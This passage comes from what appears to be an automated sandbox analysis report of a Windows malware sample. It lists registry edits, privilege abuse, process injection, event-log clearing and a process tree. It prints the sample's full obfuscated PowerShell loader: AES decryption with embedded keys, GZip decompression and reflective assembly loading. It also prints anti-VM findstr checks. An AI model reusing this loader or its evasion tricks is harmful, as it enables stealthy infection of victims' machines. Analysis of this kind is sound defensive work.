\REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\02oxlvexyyjmvlym\DeviceId = "<Data LastUpdatedTime=\"1735955389\"><User username=\"02OXLVEXYYJMVLYM\"><HardwareInfo BoundTime=\"1735955389\" TpmKeyStateClient=\"1\" TpmKeyStateServer=\"3\" LicenseKeySequence=\"1\" LicenseInstallError=\"0\" LicenseKeyVersion=\"2\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-1045960512-3948844814-3059691613-1000\02roaqmchjipqndl svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-1045960512-3948844814-3059691613-1000\ValidDeviceId svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-1045960512-3948844814-3059691613-1000\02roaqmchjipqndl\DeviceId = "<Data><User username=\"02ROAQMCHJIPQNDL\"/></Data>\r\n" svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\DeviceLicenseUpdateFailureCount = "0" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-18\ValidDeviceId = "02oxlvexyyjmvlym" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "00188011C582F948" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\DeviceIdentities\production\S-1-5-21-1045960512-3948844814-3059691613-1000\02roaqmchjipqndl\DeviceId = "<Data DAInvalidationTime=\"1735955395\"><User username=\"02ROAQMCHJIPQNDL\"><HardwareInfo BoundTime=\"1735955395\" TpmKeyStateClient=\"0\" TpmKeyStateServer=\"0\" LicenseInstallError=\"0\"/></User></Data>\r\n" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\Windows Error Reporting svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe -
Modifies registry class 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ RuntimeBroker.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ Explorer.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3264 powershell.exe 3264 powershell.exe 3264 powershell.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe 1104 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 3368 Explorer.EXE 4060 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3264 powershell.exe Token: SeDebugPrivilege 1104 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2212 svchost.exe Token: SeIncreaseQuotaPrivilege 2212 svchost.exe Token: SeSecurityPrivilege 2212 svchost.exe Token: SeTakeOwnershipPrivilege 2212 svchost.exe Token: SeLoadDriverPrivilege 2212 svchost.exe Token: SeSystemtimePrivilege 2212 svchost.exe Token: SeBackupPrivilege 2212 svchost.exe Token: SeRestorePrivilege 2212 svchost.exe Token: SeShutdownPrivilege 2212 svchost.exe Token: SeSystemEnvironmentPrivilege 2212 svchost.exe Token: SeUndockPrivilege 2212 svchost.exe Token: SeManageVolumePrivilege 2212 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2212 svchost.exe Token: SeIncreaseQuotaPrivilege 2212 svchost.exe Token: SeSecurityPrivilege 2212 svchost.exe Token: SeTakeOwnershipPrivilege 2212 svchost.exe Token: SeLoadDriverPrivilege 2212 svchost.exe Token: SeSystemtimePrivilege 2212 svchost.exe Token: SeBackupPrivilege 2212 svchost.exe Token: SeRestorePrivilege 2212 svchost.exe Token: SeShutdownPrivilege 2212 svchost.exe Token: SeSystemEnvironmentPrivilege 2212 svchost.exe Token: SeUndockPrivilege 2212 svchost.exe Token: SeManageVolumePrivilege 2212 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2212 svchost.exe Token: SeIncreaseQuotaPrivilege 2212 svchost.exe Token: SeSecurityPrivilege 2212 svchost.exe Token: SeTakeOwnershipPrivilege 2212 svchost.exe Token: SeLoadDriverPrivilege 2212 svchost.exe Token: SeSystemtimePrivilege 2212 svchost.exe Token: SeBackupPrivilege 2212 svchost.exe Token: SeRestorePrivilege 2212 svchost.exe Token: SeShutdownPrivilege 2212 svchost.exe Token: SeSystemEnvironmentPrivilege 2212 svchost.exe Token: SeUndockPrivilege 2212 svchost.exe Token: SeManageVolumePrivilege 2212 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2212 svchost.exe Token: SeIncreaseQuotaPrivilege 2212 svchost.exe Token: SeSecurityPrivilege 2212 svchost.exe Token: SeTakeOwnershipPrivilege 2212 svchost.exe Token: SeLoadDriverPrivilege 2212 svchost.exe Token: SeSystemtimePrivilege 2212 svchost.exe Token: SeBackupPrivilege 2212 svchost.exe Token: SeRestorePrivilege 2212 svchost.exe Token: SeShutdownPrivilege 2212 svchost.exe Token: SeSystemEnvironmentPrivilege 2212 svchost.exe Token: SeUndockPrivilege 2212 svchost.exe Token: SeManageVolumePrivilege 2212 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2212 svchost.exe Token: SeIncreaseQuotaPrivilege 2212 svchost.exe Token: SeSecurityPrivilege 2212 svchost.exe Token: SeTakeOwnershipPrivilege 2212 svchost.exe Token: SeLoadDriverPrivilege 2212 svchost.exe Token: SeSystemtimePrivilege 2212 svchost.exe Token: SeBackupPrivilege 2212 svchost.exe Token: SeRestorePrivilege 2212 svchost.exe Token: SeShutdownPrivilege 2212 svchost.exe Token: SeSystemEnvironmentPrivilege 2212 svchost.exe Token: SeUndockPrivilege 2212 svchost.exe Token: SeManageVolumePrivilege 2212 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2212 svchost.exe Token: SeIncreaseQuotaPrivilege 2212 svchost.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 3368 Explorer.EXE 3368 Explorer.EXE 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 3264 powershell.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe 4060 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 3368 Explorer.EXE 4060 taskmgr.exe 4060 taskmgr.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3368 Explorer.EXE 64 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3344 wrote to memory of 3948 3344 cmd.exe 84 PID 3344 wrote to memory of 3948 3344 cmd.exe 84 PID 3344 wrote to memory of 3412 3344 cmd.exe 85 PID 3344 wrote to memory of 3412 3344 cmd.exe 85 PID 3344 wrote to memory of 4528 3344 cmd.exe 86 PID 3344 wrote to memory of 4528 3344 cmd.exe 86 PID 3344 wrote to memory of 1232 3344 cmd.exe 87 PID 3344 wrote to memory of 1232 3344 cmd.exe 87 PID 3344 wrote to memory of 2512 3344 cmd.exe 88 PID 3344 wrote to memory of 2512 3344 cmd.exe 88 PID 3344 wrote to memory of 3264 3344 cmd.exe 89 PID 3344 wrote to memory of 3264 3344 cmd.exe 89 PID 3264 wrote to memory of 1104 3264 powershell.exe 90 PID 3264 wrote to memory of 1104 3264 powershell.exe 90 PID 3264 wrote to memory of 1104 3264 powershell.exe 90 PID 3264 wrote to memory of 1104 3264 powershell.exe 90 PID 3264 wrote to memory of 1104 3264 powershell.exe 90 PID 3264 wrote to memory of 1104 3264 powershell.exe 90 PID 3264 wrote to memory of 1104 3264 powershell.exe 90 PID 3264 wrote to memory of 1104 3264 powershell.exe 90 PID 1104 wrote to memory of 620 1104 dllhost.exe 5 PID 1104 wrote to memory of 672 1104 dllhost.exe 7 PID 1104 wrote to memory of 964 1104 dllhost.exe 12 PID 1104 wrote to memory of 340 1104 dllhost.exe 13 PID 1104 wrote to memory of 412 1104 dllhost.exe 14 PID 1104 wrote to memory of 1040 1104 dllhost.exe 15 PID 1104 wrote to memory of 1076 1104 dllhost.exe 17 PID 1104 wrote to memory of 1084 1104 dllhost.exe 18 PID 1104 wrote to memory of 1200 1104 dllhost.exe 19 PID 1104 wrote to memory of 1216 1104 dllhost.exe 20 PID 1104 wrote to memory of 1300 1104 dllhost.exe 21 PID 1104 wrote to memory of 1368 1104 dllhost.exe 22 PID 1104 wrote to memory of 1388 1104 dllhost.exe 23 PID 1104 wrote to memory of 1396 1104 dllhost.exe 24 PID 1104 wrote to memory of 1424 1104 dllhost.exe 25 PID 1104 wrote to memory of 1512 1104 dllhost.exe 26 PID 1104 wrote to memory of 1560 1104 dllhost.exe 27 PID 1104 wrote to memory of 1608 1104 dllhost.exe 28 PID 1104 wrote to memory of 1708 1104 dllhost.exe 29 PID 1104 wrote to memory of 1760 1104 dllhost.exe 30 PID 1104 wrote to memory of 1808 1104 dllhost.exe 31 PID 1104 wrote to memory of 1836 1104 dllhost.exe 32 PID 1104 wrote to memory of 1904 1104 dllhost.exe 33 PID 1104 wrote to memory of 1912 1104 dllhost.exe 34 PID 1104 wrote to memory of 1928 1104 dllhost.exe 35 PID 1104 wrote to memory of 1996 1104 dllhost.exe 36 PID 1104 wrote to memory of 2092 1104 dllhost.exe 37 PID 1104 wrote to memory of 2212 1104 dllhost.exe 39 PID 1104 wrote to memory of 2244 1104 dllhost.exe 40 PID 1104 wrote to memory of 2264 1104 dllhost.exe 41 PID 1104 wrote to memory of 2484 1104 dllhost.exe 42 PID 1104 wrote to memory of 2492 1104 dllhost.exe 43 PID 1104 wrote to memory of 2548 1104 dllhost.exe 44 PID 1104 wrote to memory of 2628 1104 dllhost.exe 45 PID 1104 wrote to memory of 2756 1104 dllhost.exe 46 PID 672 wrote to memory of 2840 672 lsass.exe 50 PID 1104 wrote to memory of 2776 1104 dllhost.exe 47 PID 1104 wrote to memory of 2812 1104 dllhost.exe 48 PID 1104 wrote to memory of 2824 1104 dllhost.exe 49 PID 1104 wrote to memory of 2840 1104 dllhost.exe 50 PID 1104 wrote to memory of 2860 1104 dllhost.exe 51 PID 1104 wrote to memory of 2872 1104 dllhost.exe 52 PID 672 wrote to memory of 2840 672 lsass.exe 50 PID 1104 wrote to memory of 2900 1104 dllhost.exe 54 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:340
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{a67f0cdb-2ead-4335-b2f1-b08c7fe2f74e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1104
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{7fee9d7d-836f-4d33-969b-4915aa125c85}2⤵PID:2636
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:672
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:412
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1040
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1076
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:1084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1200 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2776
-
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1216
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1368
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1388
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1396
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1560
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2548
-
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1608
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1708
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1760
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1808
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1836
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1904
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1928
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1996
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2092
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2212
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2244
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2264
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2628
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2756
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2812
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
- Enumerates connected drives
PID:2824
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2840
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2860
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2872
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2900
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3304
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3368 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\0x001a00000002ab29-1094.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3344 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1092
-
-
C:\Windows\system32\fsutil.exefsutil fsinfo drives3⤵PID:3948
-
-
C:\Windows\system32\findstr.exefindstr /i /c:"DADY HARDDISK" /c:"WDS100T2B0A" /c:"QEMU HARDDISK"3⤵PID:3412
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-
C:\Windows\system32\fsutil.exefsutil fsinfo drives3⤵PID:4528
-
-
C:\Windows\system32\findstr.exefindstr /i /c:"BOCHS_" /c:"BXPC___" /c:"QEMU" /c:"VirtualBox"3⤵PID:1232
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-
C:\Windows\system32\cmd.execmd.exe /c echo function orcC($VcbY){ Invoke-Expression -InformationAction Ignore -Debug -WarningAction Inquire -Verbose '$SYoq=QX[QXSyQXsQXtQXeQXmQX.QXSeQXcQXuQXrQXiQXtyQX.CQXryQXptQXoQXgQXrQXapQXhQXyQX.QXAQXeQXsQX]:QX:QXCQXrQXeQXatQXeQX(QX);'.Replace('QX', ''); Invoke-Expression -WarningAction Inquire '$SYoq.SdMSdodSdeSd=Sd[SdSSdySdstSdeSdmSd.SdSSdecSdurSditSdy.SdCSdrSdySdptSdoSdgSdrSdaSdpSdhSdy.SdCSdiSdpSdhSderSdMSdoSddSdeSd]Sd:Sd:SdCSdBSdC;'.Replace('Sd', ''); Invoke-Expression -Verbose '$SYoq.BAPBAadBAdBAiBAnBAgBA=BA[SBAyBAsBAtBAeBAm.BASeBAcuBAriBAtBAyBA.BACrBAyBApBAtBAoBAgBArBAapBAhBAyBA.BAPBAadBAdBAiBAnBAgBAMBAoBAdBAeBA]BA:BA:BAPKBACBASBA7;'.Replace('BA', ''); Invoke-Expression -Verbose '$SYoq.ffKffeyff=ff[ffSffyffsffteffmff.ffCffoffnvfferfft]ff::ffFffrffoffmBffaffsffeff6ff4ffSfftrffiffnffg("ffsffM0ffmffsffDffDffIffoMffhff1ffSffmff09ffPMffedffmlffRff5ffsff8dffKffdffWffvffJff5ffQgffLff0ff/ffkffKTffMffcff=");'.Replace('ff', ''); Invoke-Expression -Verbose '$SYoq.gvIgvV=gv[gvSgvygvsgvtgvemgv.gvCgvogvngvvegvrtgv]:gv:FgvrgvogvmgvBagvsgvegv6gv4gvSgvtgvrigvngvggv("gvYgvqRgvzgvygvygvqgvRgv5VgvugvmgvBgv3gvO1gvovgvK9gvowgv=gv=gv");'.Replace('gv', ''); $HyBY=$SYoq.CreateDecryptor(); $fhiM=$HyBY.TransformFinalBlock($VcbY, 0, $VcbY.Length); $HyBY.Dispose(); $SYoq.Dispose(); $fhiM;}function tHVO($VcbY){ Invoke-Expression -WarningAction Inquire '$amXY=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm(,$VcbY);'.Replace('uL', ''); Invoke-Expression -Debug '$DOPc=uLNuLewuL-uLOuLbuLjuLeuLctuL uLSuLyuLsuLteuLm.uLIOuL.MuLeuLmuLouLryuLSuLtuLruLeuLauLm;'.Replace('uL', ''); Invoke-Expression -InformationAction Ignore '$ZloT=yjNyjewyj-yjOyjbyjjyjeyjctyj yjSyjyyjsyjteyjm.yjIOyj.Cyjoyjmyjpyjreyjsyjsyjiyjoyjnyj.yjGZyjiyjpyjSyjtyjreyjayjm($amXY, yj[yjIOyj.yjCyjoyjmyjpyjreyjsyjsyjiyjoyjn.yjCoyjmpyjreyjsyjsyjiyjonyjMyjoyjdyjeyj]yj:yj:Dyjeyjcyjoyjmyjpryjeyjsyjs);'.Replace('yj', ''); $ZloT.CopyTo($DOPc); $ZloT.Dispose(); $amXY.Dispose(); $DOPc.Dispose(); $DOPc.ToArray();}function Kxmi($VcbY,$Hqen){ Invoke-Expression -Verbose -WarningAction Inquire -Debug '$fabe=DH[DHSyDHsDHtDHeDHmDH.DHReDHfDHlDHeDHcDHtiDHonDH.ADHssDHeDHmDHbDHlyDH]DH:DH:DHLDHoDHaDHd([byte[]]$VcbY);'.Replace('DH', ''); Invoke-Expression -Verbose -WarningAction Inquire -InformationAction Ignore -Debug '$gCDr=$fabe.lNElNntlNrlNylNPlNolNilNntlN;'.Replace('lN', ''); Invoke-Expression -Debug -Verbose -WarningAction Inquire '$gCDroQ.oQInoQvoQooQkoQeoQ(oQ$noQuoQloQloQ, $Hqen);'.Replace('oQ', '');}$iHJt = 'C:\Users\Admin\AppData\Local\Temp\0x001a00000002ab29-1094.bat';$host.UI.RawUI.WindowTitle = $iHJt;$TXrr=[System.IO.File]::ReadAllText($iHJt).Split([Environment]::NewLine);foreach ($WQOD in $TXrr) { if ($WQOD.StartsWith('OEsNQ')) { $oQmN=$WQOD.Substring(5); break; }}$OMnU=[string[]]$oQmN.Split('\');Invoke-Expression -InformationAction Ignore -Debug -Verbose '$taV = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[0].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Verbose '$VJL = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[1].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Invoke-Expression -Debug '$Qei = tHVO (orcC (Fk[FkCoFknFkvFkeFkrFktFk]:Fk:FkFFkrFkoFkmBFkasFke6Fk4SFktFkrFkiFkngFk($OMnU[2].Replace("#", "/").Replace("@", "A"))));'.Replace('Fk', '');Kxmi $taV $null;Kxmi $VJL $null;Kxmi $Qei (,[string[]] (''));3⤵PID:2512
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-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Command and Scripting Interpreter: PowerShell
- Deletes itself
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3264 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3264 -s 22204⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:3168
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\Temp\0x001a00000002ab29-1094.bat>C:\Windows\$rbx-onimai2\$rbx-CO2.bat4⤵
- Drops file in Windows directory
PID:3004 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:3028
-
-
-
